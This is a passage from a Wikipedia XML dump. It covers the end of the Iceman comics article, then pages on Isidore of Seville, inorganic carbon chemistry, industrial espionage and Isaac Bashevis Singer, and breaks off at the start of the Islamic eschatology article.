Iceman's appearance has changed significantly over the years.  In the early X-Men stories, his appearance was more reminiscent of a snowman.  The explanation that was given in those days was that when he used his abilities, he became so cold that frost formed on his skin.  In ''X-Men'' #7 (1964), at the prompting of team leader [[Cyclops (comics)|Cyclops]], he learned to cover his body with hardened-but-flexible ice and adopted the hard crystalline appearance familiar to modern readers.  Even more recently, Iceman developed the ability to not only cover his body with ice, but to actually become organic ice.  Though the appearance is similar, Iceman is now actually translucent in his ice form.  Iceman is virtually indestructible in this form: he can reform his shattered body and even if the rest of his body is completely destroyed, his head can form a new body from frozen liquids.  Most recently, Iceman has been trapped in his ice form to the degree that he cannot return to his human form.  Iceman is now considered an [[Omega-Level Mutant]] with his current power level.

Iceman suffers from a chronic poor [[self image]] and is a classic under-achiever.  Bobby's use of his powers has often been lazy and undisciplined.  Iceman often played the part of the joker, which annoyed  Professor Xavier and Cyclops.  Iceman has never realized the true potential of his abilities and even went through a period of deep depression after [[Emma Frost]], the former [[White Queen (comics)|White Queen]] of the [[Hellfire Club (comics)|Hellfire Club]], took over his body and used his powers at levels which Iceman himself had generally been unable to reach.  The White Queen believed that Iceman had the potential to be one of the most powerful mutants on Earth.

[[Polaris (comics)|Polaris]] broke up with [[Havok]] and Iceman admitted that he still had feelings for her.  The two have engaged in mild flirtation, but nothing serious has happened yet.  They do seem to be beginning a small relationship, however.

==Powers and abilities==
[[Image:X-Factor 27.jpg|left|thumb|150px|Iceman creates an ice slide on the cover of ''X-Factor'' #27, 1988]]
Iceman's powers have evolved considerably over the years. Originally he had a normal human and an ice-form.  In normal human form, he had the strength, agility and durability of a typical [[athletic]] male of his size.  In his ice-form, his strength and durability was enhanced.

Iceman is able to lower his body temperature without harm to himself, reaching -105F within a few seconds.  He is able to freeze any moisture in the air around him into unusually hard ice to form ice-slides and various projectiles and shields.  Iceman is immune to sub-zero temperatures.  Iceman has [[thermal]] vision: the ability to detect objects visually by how much heat the objects generate.

Over the years, his mutant [[physiology]] has gone through radical changes.  First, he was able to fashion an [[armor]] of densely packed [[snow]] around his human form when lowering his temperature; later, this became armor of solid ice.  Eventually, he was actually able to transform his body into organic ice in which his strength and endurance were augmented to enhanced levels, but when he turned his body back to normal, he would be an ordinary human.

For a time, Iceman could no longer revert to a human form as part of a [[secondary mutation]].  He was constantly in a [[translucent]] organic ice-form.  Iceman is also able to reconstitute his ice-form if any part of it is damaged or even if it is completely shattered, without permanent harm to himself.  He is able to temporarily add the mass of a body of water to his own to increase his mass, size and physical power.  His strength and durability in his ice-form are enhanced beyond normal human levels.  He can survive not only as [[sentient]] ice but as sentient water and [[vapor]].  He has the capacity to manipulate all forms of moisture.  He has all of the abilities to generate [[projectile| projectiles]], slides and [[shield| shields]] that he always has had but they have been augmented greatly.  Under the [[mind control]] of [[Emma Frost]] he was able to deposit his bodily mass into a river and reconstitute his entire mass a great distance away in a matter of minutes.

Writers have implied that Iceman's lack of personal initiative has prevented him from discovering the deeper facets of his abilities and has led him instead to focus only on what might be the easiest manifestation of his abilities, the creation of ice.

In ''House of M'' #8, it appeared that Iceman was among the many thousands of mutants who lost their powers due to the magic of the Scarlet Witch, having returned to his normal human form and noticeably sweating.  However, at the end of ''X-Men'' #178, while repelling an attack of anti-mutant protesters, Iceman's powers reactivated.  In ''X-Men'' #179, it was revealed Iceman didn't lose his powers, but had subconsicously shut them down out of fear due to the aftermath of the [[House of M]].

In [[X-Men: Evolution]], he has the ability to create an ice statue of himself on the spot by moving, similar to [[Sub-Zero]] in [[Mortal Kombat]].

==Alternate versions==

===[[Ultimate X-Men| Ultimate Iceman]]===
[[Image:ultimatexmen68.jpg|left|200px|thumb|Cover of ''The Ultimate X-Men #68'', featuring Iceman and Rogue. Art by [[Tom Raney]].]]
In the [[Ultimate Marvel]] continuity, Bobby Drake is 15 years old and the youngest founding member of the [[Ultimate X-Men|X-Men]].  He ran away from his family at the peak of government-supported [[Sentinels (comics)|Sentinel]] attacks, fearing they would kill them if they found out he was a [[mutant (fictional)|mutant]].

Bobby established himself as a valuable asset, even single-handedly taking out the [[Ultimates]] once with a gigantic ice wall (''see [[Ultimate War]]''), as well as single handedly halting an invasion by Colonel Wraith and Weapon X; Only to be stopped by Rogue who was in temporary possession of Marvel Girl's telepathy.  
During the World Tour arc, Bobby was greatly injured by Proteus, which resulted in a lawsuit issued by his parents against Xavier.  Luckily, Bobby rebelled against his parents and returned to the X-Men not a moment too soon.

He has dated both [[Rogue (comics)|Rogue]], for a longer time and [[Shadowcat (comics)|Shadowcat]], who he recently broke up with. When Rogue returned to the school after her escapade with Gambit, causing her to absorb his powers, they fell in love again. Rogue was now due to Gambit's powers mixing over her own able to touch and kiss anyone she wanted, and Bobby and Marian made love to each other while the other X-Men were away.

===[[Age of Apocalypse]]===

In the [[Age of Apocalypse]] it was not [[Professor X]] who trained the [[X-Men]], but [[Magneto (comics)|Magneto]]. He was much harder on his students and pushed them to levels in their abilities that had been unheard of. Because he was pushed so hard, he lacks his characteristic sense of humor and became very cold and inhuman, making his teammates feel uncomfortable. In addition to his normal abilities, Bobby was capable of breaking down his body and merging it with another body of water to travel great distances in a matter of seconds. He could bring others along as well through a process that he called &quot;[[moisture]] [[molecular]] [[inversion]]&quot;, although it was a painful process for the passengers. In addition to this he could also reconstitute his body from broken pieces. 

===[[Mutant X (comics)|Mutant X]]===

In the alternate reality known as the [[Mutant X (comics)|Mutant X]] universe, Robert Drake had been the victim of misfortune. The [[Norse mythology| Asgardian]] god [[Loki (comics)|Loki]] amplified Bobby's powers to a dangerous level, leaving him unable to make contact with any organic thing for fear of killing it. In the [[Earth 616| main Marvel universe]] [[Iron Man| Tony Stark]] was able to create a device that helped Bobby regulate his abilities, but no such thing was invented in this universe. Bobby, going by Rob and calling himself [[Ice-Man (comics)|Ice-Man]], became very bitter from his circumstances.

===[[Earth X]]===

During the series '''Earth X''' Bobby had become trapped in his ice form, making him vulnerable to melting. He moved to the [[Arctic]] regions and made an ice city for himself and the [[Inuit| Inuits]] that lived there with him. Due to a series of events where the mass of the planet changed and the orbital path moved, Bobby was able to return to the [[United States]] to aid in the battle against the [[demon]] [[Mephisto (comics)|Mephisto]].

==Appearances in other media==
[[Image:Iceman3.JPG|thumb|left|150px|Shawn Ashmore as Iceman]]
Iceman was one of the three leads in the [[animated television series]] ''[[Spider-Man and His Amazing Friends]]'', in which he was voiced by [[Frank Welker]].

He also appeared in the ''X-Men'' [[X-Men (animated series)|animated series]] voiced by [[Dennis Akayama]] in the episode &quot;Cold Comfort&quot; where he gets Jubilee's help to rescue his girlfriend Lorna Dane (not called Polaris here) from a government facility which is housing the X-Factor led by the modern day [[Forge (comics)|Forge]].

He had also appeared in the ''X-Men: Evolution'' animated series played by [[Andrew Francis]].
[[Image:Iceman.gif|right|thumb|130px|Iceman in [[Marvel vs. Capcom 2]]]] 

In the movies ''[[X-Men (film)|X-Men]]'', ''[[X2 (film)|X2]]'' and the upcoming ''[[X-Men: The Last Stand|X-Men 3]]'' movie he is played by [[Shawn Ashmore]].  Bobby Drake has a dating relationship with [[Rogue (comics)|Rogue]] and is a bit jealous over her, evidenced with his interactions with a returning [[Wolverine (comics)|Wolverine]], who Rogue shows a bit of affection for.  He is also shown to have an uneasy friendship with [[Pyro (comics)|Pyro]], who, ironically, has power of fire. In [[X-Men 3]], rumours have suggested  he may have a relationship with [[Kitty Pryde]].

Iceman has appeared in various video game adaptations, such as ''[[X-Men: Children of the Atom (arcade game)|X-Men: Children of the Atom]],'' the subsequent ''[[Marvel vs. Capcom 2]]'' and the more recent ''[[X-Men Legends]]'' and its sequel ''[[X-Men Legends II: Rise of Apocalypse]]''.  In both of the ''Legends'' games, he is one of the quickest characters to become extremely powerful in melee combat.  A cursor of his ability to add his icy damage to his melee attacks and to his own defense.

Iceman will also be one of the 3 playble characters in the forthcoming game ''[[X-Men: The Official Movie Game]]'' which will fill in the gap between ''[[X2: X-Men United]]'' and ''[[X3: The Last Stand]]''

In the [[Capcom]] games, he is especially notorious for his ability to take little to no blocking damage from projectile and beam attacks, special attacks in general, which combined with his powerful ice beam attacks make him an excellent defensive character.  In the competitive scene, he fell out of use as [[Cable (comics)|Cable]] players evolved; Iceman's special attacks are vulnerable to Cable's instant super attacks.
{{wikibooks|Fighting Game Moves/Capcom/Iceman}}
==External links==
* [http://www.freewebs.com/xboyscerebro/iceman.htm Iceman at X-Boys8 Central]
* [http://www.uncannyxmen.net/db/spotlight/showquestion.asp?faq=10&amp;fldAuto=55 Spotlight On... Iceman at UncannyXmen.Net]


[[Category:Defenders members]]
[[Category:Fictional elementals]]
[[Category:Marvel Comics mutants]]
[[Category:X-Factor members]]
[[Category:X-Men members]]
[[Category:Fictional Americans]]
[[Category: The 198 Files]]
[[Category:Jewish superheroes]]

[[es:Hombre de Hielo]]
[[fi:Jäämies]]
[[fr:Iceberg (X-Men)]]
[[sv:Iceman]]</text>
    </revision>
  </page>
  <page>
    <title>Isidore of Seville</title>
    <id>15506</id>
    <revision>
      <id>41736035</id>
      <timestamp>2006-03-01T11:04:04Z</timestamp>
      <contributor>
        <username>FourthAve</username>
        <id>323450</id>
      </contributor>
      <minor />
      <comment>Last native speaker of Latin</comment>
      <text xml:space="preserve">{{mergefrom|Isidro}}
[[Image:Isidor von Sevilla.jpeg|thumb|right|Isidore, depicted by [[ Bartolomé Esteban Murillo|Murillo]]]]
'''Saint Isidore of Seville''' ([[560]] - [[April 4]], [[636]]) was [[Archbishop]] of [[Seville]] for more than three decades and has the reputation of being one of the great scholars of the early [[middle ages]]. All the later medieval history-writing of [[Spain]] was based on Isidore's histories.

Isidore was born in [[Cartagena, Spain]], to an influential family who were instrumental in the political-religious maneuvering that converted the Visigothic kings from [[Arianism]] to Catholicism, and were all awarded sainthoods: his brother [[Leander of Seville|Leander]] immediately preceded him as Catholic bishop of [[Seville]], the opponent of king [[Liuvigild]], his younger brother was also awarded a [[bishop]]ric at the start of the new reign of Catholic [[Reccared]], and their sister was an [[abbess]] in charge of forty convents. 

Isidore's Latin was affected by local Visigothic traditions and contains hundreds of recognizably Spanish words; his 18th-century editor [[Faustino Arévalo]] identified 1,640 of them: Isidore can possibly be characterized as the world's last native speaker of [[Latin]] and perhaps the world's first native speaker of [[Spanish]]. 

At a time of disintegration of classical culture, and aristocratic violence and illiteracy, he assisted [[Leander]] in the conversion of the royal [[Visigoth]] [[Arianism|Arians]] to Catholicism and carried the conversion forward after his brother's death, for example in presiding over the (second) synod of Seville (November 618 or 619), which the bishops of Gaul and Narbonne attended, as well as the Spanish prelates. In the Council's Acts the nature of Christ is fully set forth, countering Arian conceptions. At an advanced age he also presided over the Fourth Council of [[Toledo, Spain|Toledo]] ([[633]]), which required all bishops to establish seminaries, on the pattern of the one at Seville associated with Isidore. The council probably expressed with tolerable accuracy the mind and influence of Isidore.  The position and deference granted to the king is remarkable. The church is free and independent, yet bound in solemn allegiance to the acknowledged king: nothing is said of allegiance to the [[Papacy|bishop of Rome]].

Isidore's most important work was the first [[encyclopedia]] known to be compiled in western civilization, the ''[[Etymologiae]]''. The work takes its title from the method he used in the transcription of his era's knowledge. The encyclopedia was a huge compilation of 448 chapters in 20 volumes, devoted to transmitting the epitome of the learning of antiquity.  The depository of classical culture in Isidore's compendium was so highly regarded that it superseded the use of many individual works of the classics themselves, which were not recopied and have been lost. The book was the most popular compendium in [[medieval]] libraries.  It was printed in at least 10 editions between [[1470]] and [[1530]], showing Isidore's continued popularity in the [[Renaissance]]. Until the 12th century brought translations from Arabic sources, Isidore transmitted what western Europeans remembered of the works of [[Aristotle]] and other Greeks, although he understood only a limited amount of Greek. The ''Etymologiae'' was much copied, particularly into medieval [[bestiary|bestiaries]]. 

His other works include his ''Chronica Majora'' (a universal history), ''De differentiis verborum'', which amounts to brief theological treatise on the doctrine of the Trinity, the nature of Christ, of Paradise, angels, and men. Isidore also produced a ''History of the Goths''; ''On the Nature of Things'' (not the poem of [[Lucretius]]), a book of astronomy and natural history dedicated to the Visigothic king [[Sisebut]]; and ''Questions on the Old Testament''. There is a mystical treatise on the allegorical meanings of numbers, and a number of brief letters. 

He was [[Canonization|canonized]] as a [[saint]] by the [[Catholicism|Roman Catholic Church]] in [[1598]] and declared a [[Doctor of the Church]] in [[1722]].

In [[2003]] he was proposed as the patron saint of the Internet, but was not among the top six vote totals in an Italian language Internet poll (Google translation: [http://translate.google.com/translate?u=http%3A%2F%2Fwww.santiebeati.it%2Fpatrono.html&amp;langpair=it%7Cen&amp;hl=en&amp;ie=UTF-8&amp;oe=UTF-8&amp;prev=%2Flanguage_tools])

Alternative spelling: Isadore.

''See also'': [[Cartographer]]

==External links==
*[http://www.ccel.org/w/wace/biodict/htm/TOC.htm Henry Wace, ''Dictionary of Christian Biography'']
*[http://www.newadvent.org/cathen/08186a.htm ''Catholic Encyclopedia'', 1913: 'Isidore of Seville']
*[http://www.wired.com/news/culture/0,1284,49995,00.html?tw=wn_story_related St. Isidore proposed as patron saint of the Internet]

[[Category:Spanish saints|Isidore of Seville]]
[[Category:Roman Catholic archbishops|Isidore of Seville]]
[[Category:560 births|Isidore of Seville]]
[[Category:636 deaths|Isidore of Seville]]
[[Category: Encyclopedists|Isidore of Seville]]
[[Category:Doctors of the Church|Isidore of Seville]]
[[Category:Spanish philosophers|Isidore of Seville]]
[[Category:Spanish theologians|Isidore of Seville]]

[[bg:Исидор Севилски]]
[[de:Isidor von Sevilla]]
[[es:Isidoro de Sevilla]]
[[fr:Isidore de Séville]]
[[ia:Isidor de Sevilla]]
[[id:Isidore dari Sevilla]]
[[it:Isidoro di Siviglia]]
[[he:איזידור מסביליה]]
[[la:Isidorus Hispalensis]]
[[nl:Isidorus van Sevilla]]
[[pl:Izydor z Sewilli]]
[[pt:Isidoro de Sevilha]]
[[sk:Izidor zo Sevilly]]</text>
    </revision>
  </page>
  <page>
    <title>Inorganic chemistry of carbon</title>
    <id>15507</id>
    <revision>
      <id>15912980</id>
      <timestamp>2005-04-28T04:14:29Z</timestamp>
      <contributor>
        <username>Walkerma</username>
        <id>131355</id>
      </contributor>
      <comment>Added link to list of inorganic carbon compounds</comment>
      <text xml:space="preserve">There is a rich variety of [[carbon]] [[chemistry]] that does not fall within the realm of [[organic chemistry]] and is thus called '''inorganic carbon chemistry'''.

Perhaps best well known are the [[oxide]]s of carbon, [[carbon dioxide]] and [[carbon monoxide]]. Other types include
(but are not limited to) inorganic [[salt]]s and [[complex (chemistry) | complexes]] of the carbon-containing [[polyatomic ion]]s, [[cyanide]], [[cyanate]], [[thiocyanate]], [[carbonate]], and [[carbide]].

The known inorganic chemistry of the [[allotropy|allotrope]]s of carbon ([[diamond]], [[graphite]], and the [[fullerene]]s) blossomed with the discovery of buckminsterfullerene in the late twentieth century as additional fullerenes and their various derivatives were discovered. One such class of derivatives is inclusion compounds, in which an ion is enclosed by the all-carbon shell of the fullerene. This inclusion is denoted by the &quot;@&quot; symbol. For example, an ion consisting of a lithium ion trapped within buckminsterfullerene would be denoted C&lt;sub&gt;60&lt;/sub&gt;@Li&lt;sup&gt;+&lt;/sup&gt;. As
with any other ionic compound, this complex ion could in principle pair with a [[counterion]] to form a salt.

For a fairly full listing of inorganic carbon compounds on Wikipedia see [[Inorganic_compounds_by_element#Carbon]].</text>
    </revision>
  </page>
  <page>
    <title>Industrial espionage</title>
    <id>15508</id>
    <revision>
      <id>39044887</id>
      <timestamp>2006-02-10T09:09:52Z</timestamp>
      <contributor>
        <ip>213.39.190.133</ip>
      </contributor>
      <text xml:space="preserve">&lt;div class=&quot;messagebox&quot; style=&quot;width: 40em;&quot;&gt;
&lt;div style=&quot;float: left;&quot;&gt;[[Image:Stop hand.svg|40px| ]]&lt;/div&gt;
&lt;div style=&quot;margin-left: 60px;&quot;&gt;'''This article may contain [[Wikipedia:No original research|original research]] or [[Wikipedia:Verifiability|unverified]] claims.''' &lt;br&gt; Please help Wikipedia by adding references. See the [[:{{NAMESPACE}} talk:{{PAGENAME}}|talk page]] for details [[Category:Articles which may contain original research|{{PAGENAME}}]].&lt;/div&gt;
&lt;/div&gt;'''Industrial espionage''' is [[espionage]] conducted for [[commerce|commercial]] purposes instead of [[national security]] purposes.  It is conducted both by governments and by private organizations.  

At the most innocuous level, the term is applied to the legal and mundane methods of examining corporate publications, web sites, [[patent]] filings, and the like to determine the activities of a corporation (though this is normally referred to as [[business intelligence]]), through to illegal methods such as [[bribe]]ry, [[blackmail]], technological surveillance and even occasional violence.  As well as spying on commercial organizations, governments can also be targets of commercial espionage&amp;mdash;for example, to determine the terms of a tender for a government contract so that another tenderer can underbid.

Most large corporations openly acknowledge the existence of departments to perform the legal aspects of corporate espionage.  Many also spend considerable amounts on precautions to protect against the more cloak-and-dagger varieties.

The [[United States]] government has admitted to using commercial espionage, for instance using surveillance of phone calls to determine that a French competitor of a US firm was bribing Brazilian officials to obtain an air traffic control radar contract (it was later revealed that the US firm was ''also'' bribing officials).  It is generally believed that most large intelligence agencies are involved in the practice.
A commission of the [[European Parliament]] suspects that [[ECHELON]], a communications espionage system operated by the [[NSA]] and agencies of the United Kingdom, Germany, Canada, Australia and New Zealand, is used for political espionage and occasionally to help American companies against European competitors.

The government of [[France]] has conducted ongoing industrial espionage against American aerodynamics and satellite companies.  [http://www.hanford.gov/oci/maindocs/ci_r_docs/frenchesp.pdf]

The development of the [[Tupolev Tu-144]] [[supersonic]] aircraft, with its rapid design and similarity to [[Concorde]], was one of the most prominent examples of industrial espionage in the 20th century.

==See also==
*[[Business intelligence]]
*[[Trade secret]]

==External links==
* [http://samvak.tripod.com/pp144.html Recent cases and future of industrial espionage]

[[category:Business intelligence]][[Category:Espionage]][[Category:Management]]
[[category:Strategic management]]

[[de:Wirtschaftsspionage]]
[[fr:Espionnage industriel]]
[[he:ריגול תעשייתי]]
[[pl:Wywiad gospodarczy]]
[[ru:Промышленный шпионаж]]
[[sv:Industrispionage]]
[[th:การจารกรรมข้อมูลในอุตสาหกรรม]]</text>
    </revision>
  </page>
  <page>
    <title>Instruction set architectures</title>
    <id>15509</id>
    <revision>
      <id>15912982</id>
      <timestamp>2002-08-01T06:48:30Z</timestamp>
      <contributor>
        <username>Malcolm Farmer</username>
        <id>135</id>
      </contributor>
      <minor />
      <comment>redirecting this orphan -&gt; Instruction set</comment>
      <text xml:space="preserve">#REDIRECT [[Instruction set]]</text>
    </revision>
  </page>
  <page>
    <title>Isaac Bashevis Singer</title>
    <id>15511</id>
    <revision>
      <id>42056270</id>
      <timestamp>2006-03-03T14:27:38Z</timestamp>
      <contributor>
        <username>GRuban</username>
        <id>637954</id>
      </contributor>
      <comment>/* List of works */ Needed a link to Yentl somewhere</comment>
      <text xml:space="preserve">{{dablink|This article is about the fiction writer.  For the inventor of the sewing machine, see [[Isaac Singer]].}}

[[Image:Ibsinger.jpg|250px|thumb|right|Isaac Bashevis Singer]]
'''Isaac Bashevis Singer''' ([[Yiddish language|Yiddish]]: יצחק באַשעװיס זינגער or יצחק בת־שבֿעס זינגער) ([[November 21]], [[1902]] or [[July 14]], [[1904]] - [[July 24]], [[1991]]) was a [[Nobel Prize in literature|Nobel Prize]]-winning [[Jewish]] writer of both short stories and novels.

==Biography==
Isaac Bashevis Singer was born Icek-Hersz Zynger in [[Radzymin]], near [[Warsaw]] in [[Poland]], then part of the [[Russian Empire]]. His father was a [[Hasidic Judaism|Hasidic]] [[rabbi]] and his mother, Bathsheba, was the daughter of a rabbi. Singer later used her name in his penname &quot;Bashevis&quot; (son of Bathsheba). His brother [[Israel Joshua Singer]] also was a noted writer and was the first and greatest literary influence on his younger brother Isaac. Their sister, [[Esther Kreitman]], was also a writer.

Singer grew up in the [[Yiddish language|Yiddish]]-speaking poor Jewish quarter of Warsaw, where his father acted as a rabbi, judge, and spiritual leader, and in [[Bilgoraj]], a traditional Jewish village or ''shtetl''. Singer entered in [[1920]] the Tachkemoni Rabbinical Seminary, but then returned to Bilgoraj, where he supported himself by giving [[Hebrew language|Hebrew]] lessons. Though his rabbinical studies would remain a strong influence on him, he longed to be a part of a literary community. In [[1923]] he moved to Warsaw, where he worked as a proofreader for the ''Literarische Bleter'', edited by his brother Israel. The older brother contributed to the younger brother's spiritual liberation and contact with the new currents of seething political, social and cultural upheaval.

Singer made his debut with ''Satan in Goray'' which was first published in Poland in [[1932]]. It was written in the style imitative of medieval Yiddish chronicle and tells the story of the events surrounding the [[17th Century]] false messiah [[Shabbatai Zvi]]. The people in this novel, as elsewhere with Singer, are often at the mercy of the capricious infliction of circumstance, but even more so, their own passions, manias, superstitions and fanatical dreams. In his later work ''The Slave'' ([[1962]]) Singer returned again to the 17th Century in a love story of a Jewish man and a [[Gentile]] woman.

To flee from anti-Semitism, and to follow his brother, Singer emigrated to the [[United States|U.S.]] in [[1935]]. He separated from his first wife Rachel, and son Israel, who went to Moscow and later Palestine. Singer settled in [[New York City|New York]], where he started writing as a journalist and columnist for ''[[The Forward]]'', a Jewish newspaper. He wrote nearly all his work in [[Yiddish language|Yiddish]] and often used the penname Warshofsky. In 1940 he married Alma Haimann, a [[ethnic German|German]] emigrant. He became a [[naturalized citizen]] of the United States in [[1943]]. Throughout his career, Singer would continue to be a contributor and supporter of ''The Forward'', which remains in existence today as a weekly.

Throughout the [[1940s]], Singer´s reputation began to grow among the many Yiddish-speaking immigrants. After [[World War II]] and the near destruction of the Yiddish-speaking peoples, Yiddish seemed a dead language. Though Singer had moved to the United States, he believed in the power of his native language and knew that there was still a large audience that longed to read in Yiddish. In an interview in ''Encounter'' (Feb 1979) he claimed that although the Jews of Poland had died &quot;something - call it spirit or whatever - is still somewhere in the universe. This is a mystical kind of feeling, but I feel there is truth in it.&quot; Singer's work is undoubtedly much indebted to the great writers of Yiddish tradition such as [[Sholom Aleichem]], but is much more modern in approach and has been shaped by his experience in America. His themes of witchcraft, mystery and legend draw on traditional sources, but they are established in modern and ironic way. They are also concerned with the bizarre and the grotesque.

Singer published 18 novels, 14 children's books, a number of memoirs, essays and articles, but he is best known as a writer of short-stories which have appeared in over a dozen collections. The first collection of Singer's short-stories in English ''Gimpel, the Fool'', was published in 1957. The title story was translated by [[Saul Bellow]] and published in 1952 in ''Partisan Review''. Stories published in ''Daily Forward'' were later collected among others such as ''My Father's Court'' (1966). Later collections include ''A Crown of Feathers'' (1973), with notable masterpieces in between, such as, ''The Spinoza of Market Street'' (1961), or, ''A Friend of Kafka'' (1970). The world of his stories is the world and life of East European Jewry, such as it was lived in cities and villages, in poverty and persecution, and imbued with sincere piety and rites combined with blind faith and superstition. It appears to include everything - pleasure and suffering, coarseness and subtlety. We find obstrusive carnality, spicy, colourful, fragrant or smelly, lewd or violent. But there is also room for sagacity, worldly wisdom and humor.

One of Singer's most prominent themes is the clash between the old and the modern world, tradition and renewal, faith and free thought. Among many other themes, it is dealt with in Singer's big family chronicles - the novels, ''The Family Moskat'' (1950), ''The Manor'' (1967), and ''The Estate'' (1969). These extensive epic works have been compared with [[Thomas Mann]]'s novel, ''Buddenbrooks''. Like Mann, Singer describes how old families are broken up by the new age and its demands, from the middle of the [[19th Century]] up to the Second World War, and how they are split, financially, socially and humanly. 

Throughout the 1960s Singer continued to write on questions of personal morality. One of his most famous novels (due to a popular movie remake) was ''Enemies, a Love Story'' in which a [[Holocaust]] survivor deals with his own desires, complex family relationships, and the loss of faith. His feminist story, &quot;Yentel,&quot; was also made into a popular movie, starring Barbra Streisand. Thanks to the film, the story has had a wide impact on culture.

Singer's own relationship with religion was complex. He regarded himself as a skeptic and a loner, though he still felt connected to his Orthodox roots, and ultimately developed his own brand of religion and philosophy which he called a &quot;private mysticism: Since God was completely unknown and eternally silent, He could be endowed with whatever traits one elected to hang upon Him.&quot; 

After being awarded the Nobel Prize in [[1978]], Singer gained a monumental status among writers throughout the world, and his reputation with non-Jewish audiences is now higher than that of any other Yiddish writer.

Singer died on [[July 24]], [[1991]] in [[Miami, Florida]], after suffering a series of [[stroke]]s.

==Vegetarianism==
Singer was a prominent [[vegetarian]] for the last 35 years of his life and often included such themes in his works. In his short story, ''The Slaughterer'', he described the anguish that an appointed slaughterer had trying to reconcile his compassion for animals with his job of slaughtering animals. He felt that the eating of meat was a denial of all ideals and all religions: &quot;How can we speak of right and justice if we take an innocent creature and shed its blood&quot;. When asked if he had become a vegetarian for health reasons, he replied: &quot;I did it for the health of the chickens.&quot;

In the preface to Steven Rosen's &quot;Food for Spirit: Vegetarianism and the World Religions&quot; (1986), Singer wrote, &quot;When a human kills an animal for food, he is neglecting his own hunger for justice. Man prays for mercy, but is unwilling to extend it to others. Why should man then expect mercy from God? It's unfair to expect something that you are not willing to give. It is inconsistent. I can never accept inconsistency or injustice. Even if it comes from God. If there would come a voice from God saying, &quot;I'm against vegetarianism!&quot; I would say, &quot;Well, I am for it!&quot; This is how strongly I feel in this regard.&quot;

==List of works==

Note: the publication years in the following list refer to English translations, not the Yiddish originals (which often predate their translations by ten or twenty years).

* ''[[The Family Moskat]]'' (1950) 
* ''[[Satan in Goray]]'' (1955) 
* ''[[The Magician of Lublin]]'' (1960) 
* ''[[The Slave]]'' (1962) 
* ''[[The Fearsome Inn]]'' (1967) 
* ''[[Mazel and Shlimazel]]'' (1967) 
* ''The Manor'' (1967)
* ''[[The Estate]]'' (1969)
* ''[[Elijah The Slave]]'' (1970) 
* ''[[Joseph and Koza: or the Sacrifice to the Vistula]]'' (1970) 
* ''[[The Topsy-Turvy Emperor of China]]'' (1971) 
* ''[[Enemies, a Love Story]]'' (1972) 
* ''[[The Wicked City]]'' (1972) 
* ''[[The Hasidim]]'' (1973) 
* ''[[Fools of Chelm]]'' (1975) 
* ''[[Naftali and the Storyteller and His Horse, Sus]]'' (1976) 
* ''[[Shosha (novel)|Shosha]]'' (1978) 
* ''[[A Young Man in Search of Love]]'' (1978) 
* ''[[The Penitent]]'' (1983) 
* ''[[Yentl the Yeshiva Boy]]'' (1983) (basis for the movie [[Yentl]])
* ''[[Why Noah Chose the Dove]]'' (1984) 
* ''[[The King of the Fields]]'' (1988) 
* ''[[Scum (novel)|Scum]]'' (1991) 
* ''[[The Certificate]]'' (1992) 
* ''[[Meshugah]]'' (1994)
* ''[[Shadows on the Hudson]]'' (1997)

see books:
Aleksandra Ziółkowska &quot;Korzenie są polskie&quot;, Warszawa 1992
[[Aleksandra Ziółkowska Boehm]] &quot;The Roots Are Polish&quot;, Toronto 2004

==External links==
* [http://nobelprize.org/literature/laureates/1978/index.html 1978 Nobel Prize in Literature]
*[http://nobelprize.org/literature/laureates/1978/singer-bio.html Nobel biography]
*[http://www.weeklystandard.com/Content/Public/Articles/000/000/004/783obafc.asp What Yiddish Says]  article from The Weekly Standard 
* [http://www.jpost.com/servlet/Satellite?pagename=JPost/JPArticle/ShowFull&amp;cid=1096259488459&amp;p=1006953079969 An American exile]  article from The Jerusalem Post
*http://www.kirjasto.sci.fi/ibsinger.htm
*http://www.pbs.org/wnet/americanmasters/database/singer_i.html
*http://www.wbur.org/arts/2005/48687_20050101.asp

[[Category:1904 births|Singer, Isaac Bashevis]]
[[Category:1991 deaths|Singer, Isaac Bashevis]]
[[Category:Naturalized citizens of the United States|Singer, Issac B]]
[[Category:Nobel Prize in Literature winners|Singer, Isaac Bashevis]]
[[Category:Polish Nobel Prize winners|Singer, Isaac Bashevis]]
[[Category:Yiddish writers|Singer, Isaac Bashevis]]
[[Category:Vegetarians|Singer, Isaac Bashevis]]
[[Category:Jewish American writers|Singer, Isaac Bashevis]]

[[de:Isaac Bashevis Singer]]
[[es:Isaac Bashevis Singer]]
[[eo:Isaac Bashevis SINGER]]
[[fr:Isaac Bashevis Singer]]
[[it:Isaac Bashevis Singer]]
[[ja:アイザック・バシェヴィス・シンガー]]
[[he:יצחק בשביס זינגר]]
[[nl:Isaac Bashevis Singer]]
[[no:Isaac Bashevis Singer]]
[[pl:Isaac Bashevis Singer]]
[[pt:Isaac Bashevis Singer]]
[[sr:Исак Башевис Сингер]]
[[fi:Isaac Bashevis Singer]]
[[sv:Isaac Bashevis Singer]]
[[yi:יצחק באַשעװיס זינגער]]</text>
    </revision>
  </page>
  <page>
    <title>Islamic eschatology</title>
    <id>15513</id>
    <revision>
      <id>42158960</id>
      <timestamp>2006-03-04T05:16:03Z</timestamp>
      <contributor>
        <username>Colindownes</username>
        <id>820051</id>
      </contributor>
      <comment>rv to my last edit - see article's discussion page</comment>
      <text xml:space="preserve">'''Islamic eschatology''' is concerned with the ''[[Qiyamah]]'' ([[End of the world (religion)|end of the world]]; [[Last Judgement]]) and the [[Judgement Day|final judgement of humanity]]. [[Eschatology]] is one of the three main principles of [[Islam]], alongside ''[[tawhid]]'' (the [[monotheism|unity of Allah]]) and ''nubuuwa'' ([[prophecy]]). Islam teaches the bodily [[resurrection]] of the dead, the fulfillment of a divine plan for creation, and the immortality of the human soul; the righteous are rewarded with the pleasures of ''[[Jannah]]'' ([[Heaven]]), while the unrighteous are punished in ''[[Jahannam]]'' ([[Hell#Islam|Hell]]). A significant fraction of the Quran deals with these beliefs, with many ''[[hadith]]'' elaborating on the themes and details. Islamic apocalptic literature describing the Armageddon is often known as ''[[fitna|fitan]]'' and ''malahim'' (or ''ghayba'' in the [[Shi'a|shi'ite]] tradition).

==Jesus and the ad-Dajjal==
According to the Islamic view [[Jesus]] ([[Isa]], in [[Arabic language|Arabic]]) is not the [[Son of God]], but was a [[prophet]] and will return to Earth.  It is believed that Jesus never died and he was not crucified; instead he was raised into heaven still physically alive, where he lives now. At the time appointed by [[Allah]], Jesus will physically return to this world, and together with the [[Mahdi]] will end all wars, and usher in an era of peace. The messianic era comes after Jesus kills [[Dajjal|ad-Dajjal]], the [[antichrist]] figure in Islam, and defeats his followers. 

